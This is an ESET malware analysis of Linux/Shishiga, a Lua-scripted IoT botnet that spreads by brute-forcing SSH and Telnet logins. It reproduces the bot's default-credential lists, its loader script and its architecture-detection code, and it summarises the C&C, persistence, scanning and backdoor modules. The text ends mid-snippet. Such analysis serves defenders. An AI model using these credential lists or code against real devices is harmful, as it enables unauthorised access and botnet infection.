# Linux Shishiga malware using LUA scripts **[welivesecurity.com/2017/04/25/linux-shishiga-malware-using-lua-scripts/](https://www.welivesecurity.com/2017/04/25/linux-shishiga-malware-using-lua-scripts/)** April 25, 2017 The usage of the BitTorrent protocol and Lua modules separates Linux/Shishiga from other types of malware, according to analysis by ESET. Among all the Linux samples that we receive every day, we noticed one sample detected only by Dr.Web – their detection name was Linux.LuaBot. We deemed this to be suspicious as our detection rates for the [Luabot family have generally been high. Upon analysis, it](http://blog.malwaremustdie.org/2016/09/mmd-0057-2016-new-elf-botnet-linuxluabot.html) [turned out that this was, indeed, a bot written in Lua, but it represents a new family, and is](https://www.lua.org/) not related to previously seen Luabot malware. Thus, we’ve given it a new name: Linux/Shishiga. It uses 4 different protocols (SSH – Telnet – HTTP – BitTorrent) and Lua scripts for modularity. ## How to meet Shishiga? Linux/Shishiga targets GNU/Linux systems. Its infection vector is a very common one: bruteforcing weak credentials based on a password list. It does this in a similar fashion to [Linux/Moose with the added capability to bruteforce SSH credentials too. Here is the](http://www.welivesecurity.com/2016/11/02/linuxmoose-still-breathing/) complete credentials list at the time of writing: ----- **_bftelnet.lua_** 1 2 3 4 5 6 7 8 9 10 [...] local accounts={ {"admin","admin"}, {"root","root"}, {"adm","adm"}, {"acer","acer"}, {"user","user"}, {"security","security"} } [...] **_bfssh.lua_** 1 2 3 4 5 6 7 8 9 10 11 12 13 14 [...] local accounts={ {"admin","admin"}, {"root","root"}, {"adm","adm"}, {"ubnt","ubnt"}, {"root",""}, {"admin",""}, {"adm",""}, {"user","user"}, {"pi","pi"}, } --[[ ----- 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 { acer, acer }, {"security","security"}, {"root","toor"}, {"root","roottoor"}, {"root","password"}, {"root","test"}, {"root","abc123"}, {"root","111111"}, {"root","1q2w3e"}, {"root","oracle"}, {"root","1q2w3e4r"}, {"root","123123"}, {"root","qwe123"}, {"root","p@ssw0rd"}, {"root","1"}, {"root","12"}, {"root","123"}, {"root","1234"}, {"root","12346"}, {"root","123467"}, {"root","1234678"}, {"root","12346789"}, {"root","123467890"}, {"root","qwerty"}, {"root","pass"}, ----- 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 { root, toor }, {"root","roottoor"}, {"root","password123"}, {"root","password123456"}, {"root","pass123"}, {"root","password"}, {"root","passw0rd"}, {"root","1qaz"}, {"root","1qaz2wsx"}, {"root","asdfgh"}, {"user","user"}, {"user",""}, {"acer","acer"}, {"security","security"}, {"root","passw0rds"}, ]] [...] We found several binaries of Linux/Shishiga for various architectures such as MIPS (both big- and little-endian), ARM (armv4l), i686, and also PowerPC. These are common for IoT devices. We think that other architectures like SPARC, SH-4 or m68k could be supported as we will explain later. ## Shishiga’s skills [Linux/Shishiga is a binary packed with UPX 3.91 (Ultimate Packer for Executables), but the](https://upx.github.io/) UPX tool will have trouble unpacking these binaries because Shishiga adds data at the end of the packed file. After unpacking, we see that it’s [statically linked with the Lua runtime library and stripped of](https://en.wikipedia.org/wiki/Static_library) all symbols. ----- 1 2 3 $ file unpacked.i686.lm unpacked.i686.lm: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, stripped Once executed, the binary will initialize the `malware Lua module with the following` methods: Malware methods 1 2 3 4 5 6 7 8 9 10 11 12 malware_module_methods dd offset aGetver ; "getver" dd offset getver dd offset aGetos ; "getos" dd offset getos dd offset aGetarch ; "getarch" dd offset getarch dd offset aGetmacaddr ; "getmacaddr" dd offset getmacaddr dd offset aGetmods ; "getmods" dd offset getmods dd offset aSetargs ; "setargs" dd offset setargs The `getmods method will return the archive blob as we will explain later. Then hardcoded` Lua code ( malware.lua ) is executed via the `luaL_loadstring and` `lua_pcall functions.` The Lua code is quite straightforward, but here is a quick walkthrough of the source code without any modifications on our part. **malware.lua** 1 2 3 4 local unistd=require("posix.unistd") require("malware") function getexe() ----- 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 local fn=unistd.readlink( /proc/self/exe ) if fn==nil and arg~=nil then fn=arg[0] --symlink removed end if fn==nil then print("couldn't find bot file") return nil end local file=io.open(fn,"r") if file==nil then print("couldn't find bot file") return nil end local data=file:read("*all") file:close() return data end function getMods() return zlib.inflate()(malware.getmods()) end function getScriptFiles(scripts) local files={} local i=1 ----- 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 while true do local a1,b1,c1=string.find(scripts,'%-%-script%-begin%-%-([%w%.]+)%-%-',i) if a1==nil then break end local a2,b2,c2=string.find(scripts,'%-%-script%-end%-%-([%w%.]+)%-%-',i) if a2==nil then break end if c1~=c2 then return nil end local src=string.sub(scripts,b1+1,a2-1) i=b2+1 files[c1]=src end return files end malware.exe=getexe() 1 local modules=getScriptFiles(getMods()) 2 [...] ----- 61 62 63 64 65 f=load(malware.modules[ main.lua ]) 3 local s,err=pcall(f) if s==false then print(err) end **(1)** open the malware executable file from `/proc/self/exe and return its content;` **(2)** [retrieve the zlib archive via](http://www.zlib.net/) `getmods method, decompresses it, then parse it using` tags and store it in a Lua’s array; **(3)** call `main.lua module;` There is an exhaustive list of all Lua scripts found in the IoCs section. Most of them have self-explanatory filenames, but here is a brief summary of some of them. **callhome.lua** retrieve the configuration file `server.bt or` `servers from` `config.lua ;` if unable to reach the current default server, change to a different server; send files (reports or accounts, both JSON formatted); execute tasks from task list retrieved from the C&C server; **bfssh.lua / bftelnet.lua** module to bruteforce SSH and Telnet logins; check if the command `echo -en "\\x31\\x33\\x33\\x37" outputs` `1337 ; if not,` exit else continue; device architecture is determined from the `/bin/ls file by running` `cat /bin/ls` [and parsing the ELF header, see below;](https://en.wikipedia.org/wiki/Executable_and_Linkable_Format) spread the malware (both `.lm and` `.dm files) according to the device architecture;` save successful credentials; The architecture checking code is as follows: bfssh.lua, getArchELF method ----- 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 function bfssh.getArchELF(text) local bits,denc,ver,ftype,farch if text==nil then return nil end local i=text:find("\x7fELF") 1 if i~=nil then bits,denc,ver=string.unpack("<BBB",text:sub(i+4)) if denc==1 then ftype,farch=string.unpack("<HH",text:sub(i+16)) 2 else ftype,farch=string.unpack(">HH",text:sub(i+16)) end end return bits,denc,farch 3 end **(1)** every ELF file has to start with `\x7fELF` **(2)** `ftype that represents` `e_type (ELF file type = executable, shared etc.) is not` used **(3)** `bits represents` `e_ident[EI_CLASS] (32-bit or 64-bit),` `denc represents` ``` e_ident[EI_DATA] (little or big endian), and farch represents e_machine in ``` the ELF header bfssh.lua, getArchName method 1 2 3 function bfssh.getArchName(bits,denc,farch) 1 if farch==0x8 and denc==1 then 2 ----- 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 return mipsel end if farch==0x8 and denc==2 then return "mips" end if farch==0x28 then return "armv4l" end if farch==0x2 then return "sparc" end if farch==0x2a then return "sh4" end if farch==0x4 then return "m68k" end if farch==0x14 then return "powerpc" end ----- 32 33 34 35 36 37 if farch==0x3 or farch==0x7 or farch==0x3e then 3 return "i686" end return nil end **(1)** `bits is not used` **(2)** check if file is for MIPS little endian ( e_machine == `EM_MIPS and` ``` e_ident[EI_DATA] == ELFDATA2LSB ) ``` **(3)** check if file is for Intel 80386 or Intel 80860 or AMD x86-64 ( e_machine == ``` EM_386 or e_machine == EM_860 or e_machine == EM_X86_64 ) ``` **config.lua** contains publicKey to verify the signature of the binary (.lm or .dm); contains bootstrap nodes list; contains filenames of .bt files, port numbers of SOCKS and HTTP server; contains IP address of the server (probably C&C server); **persist.lua** persistence method depending on the privilege (root or user) **scanner.lua** used to generate random /16 networks that are not local **worm.lua (this script was removed in the latest version of Linux/Shishiga)** allows scanning on a given port; allows upload; gets information from the new infected server; The `readme.lua script has a message banner that grabs your attention, if you speak` Russian: ----- 1 2 3 4 5 6 7 8 9 ВСЁ ИДЁТ ПО ПЛАНУ А при коммунизме всё будет заебись Он наступит скоро — надо только подождать Там всё будет бесплатно,там всё будет в кайф Там наверное вощще не надо будет (умирать) Я проснулся среди ночи и понял, что ВСЁ ИДЁТ ПО ПЛАНУ This translates to: 1 2 3 4 5 6 7 8 9 EVERYTHING GOES ACCORDING TO PLAN When we get communism it'll all be fucking great. It will come soon, we just have to wait. Everything will be free there, everything will be fun. We'll probably not even have to die. I woke up in the middle of the night and realized EVERYTHING GOES ACCORDING TO PLAN [It seems that the malware author was inspired by E.Letov and his album](https://en.wikipedia.org/wiki/Grazhdanskaya_Oborona) `Everything` `goes according to plan – see the` [last verse of the title song.](http://www.gr-oborona.ru/texts/1056899068.html) Over the past few weeks, we observed some minor changes like parts of some modules being rewritten, addition of testing modules, removal of redundant files, but nothing especially noteworthy. While the main binary is named `.lm, we also managed to retrieve` binaries with the following name `.dm – a simple backdoor that listens on` ``` 0.0.0.0 (all IPv4 addresses) port 2015 . One of the small changes was in the name of ``` ----- this backdoor binary – it changed from `dl to` `dm .` ## Shishiga communication Linux/Shishiga can communicate using any of the modules `httpproto.lua,` ``` btloader.lua or server.lua . The httpproto.lua module has functions that allow ``` the given data to be encoded or decoded, and make HTTP POST and GET requests. The source code below shows the process of encoding data. httpproto.lua 1 2 3 4 5 6 7 8 [...] function httpproto.encode(data) local msg=bencode.encode(data) local c=zlib.crc32()(msg) local k=string.pack("